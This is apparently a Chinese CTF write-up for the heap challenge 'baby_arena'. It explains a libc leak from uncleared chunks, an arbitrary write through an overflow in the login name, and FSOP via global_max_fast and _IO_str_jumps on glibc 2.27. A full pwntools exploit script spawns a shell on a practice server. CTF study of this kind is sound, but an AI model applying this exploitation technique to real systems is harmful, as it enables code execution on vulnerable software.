保护开的并不多。
create
puts阶段似乎是可以直接把libc泄露出来
size大小
能创建十个chunk
delete
正常释放。
没有清空chunk中的内容,所以我们可以通过create函数直接泄露libc。
还有个login函数
函数在输入名字的时候存在溢出,可以做到一个任意地址写一个比较大的数字。
那么我们的利用方法就是把该泄露的泄露之后,我们攻击global_max_fast,申请很大的chunk,释放挂在_IO_list_all上面,做一个FSOP。
要注意虽然好像原题目给的是2.23的libc,但是我打的是buu的环境,用的是2.27的libc,在FSOP上有差别。
1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base
2、构造vtable = _IO_str_jumps - 0x8,使_IO_str_finish函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x10,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp -> _IO_buf_base作为参数
4、构造fp->flags & _IO_USER_BUF == 0
5、构造fp->_s._free_buffer为system或one_gadget (_free_buffer = fp + 0xe8)
6、调用_IO_flush_all_lokcp函数,触发(fp->_s._free_buffer) (fp->_IO_buf_base)
abort(如触发malloc报错时)
exit
从main函数返回
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#r = process('./baby_arena')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = remote("node4.buuoj.cn", 27899)
libc = ELF("./64/libc-2.27.so")
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def create(size,note):
r.recvuntil('exit\n')
r.sendline('1')
r.recvuntil('Pls Input your note size\n')
r.sendline(str(size))
r.recvuntil('Input your note\n')
r.sendline(note)
def dele(num):
r.recvuntil('exit\n')
r.sendline('2')
r.recvuntil('Input id:\n')
r.sendline(str(num))
def login(name):
r.recvuntil('exit\n')
r.sendline('3')
r.recvuntil('Please input your name\n')
r.send(name)
r.recvuntil('1.admin\n')
r.sendline('1')
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
def db():
gdb.attach(r)
pause()
create(0x450,'0'*0xa0) #0
create(0x450,'1'*0xa0) #1
dele(0)
create(0x450,'0') #0
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
bin_sh = libc_base + libc.search("/bin/sh\x00").next()
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
global_max_fast = libc_base + 0x3ed940
one_gadget = libc_base + 0x449d3
lg("libc_base")
lg("global_max_fast")
lg("_IO_str_jumps_addr")
lg("system_addr")
create(0x100,'3'*0x50) #2
create(0x100,'4'*0x50) #3
create(0x100,'4'*0x50) #4
dele(2)
dele(3)
create(0x100,'A') #2
r.recvuntil('\n')
heap_base = r.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8 - len(heap_base)) * '\x00')-0x921 - 0x220
lg("heap_base")
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0) + p64(bin_sh)
fake_file += p64(0) * 19
fake_file += p64(_IO_str_jumps_addr - 0x8)
fake_file += p64(0)
fake_file += p64(system_addr)
create(5170,fake_file) #3
payload = p64(one_gadget) +p64(global_max_fast-8)
login(payload)
dele(3)
r.sendline('4')
r.interactive()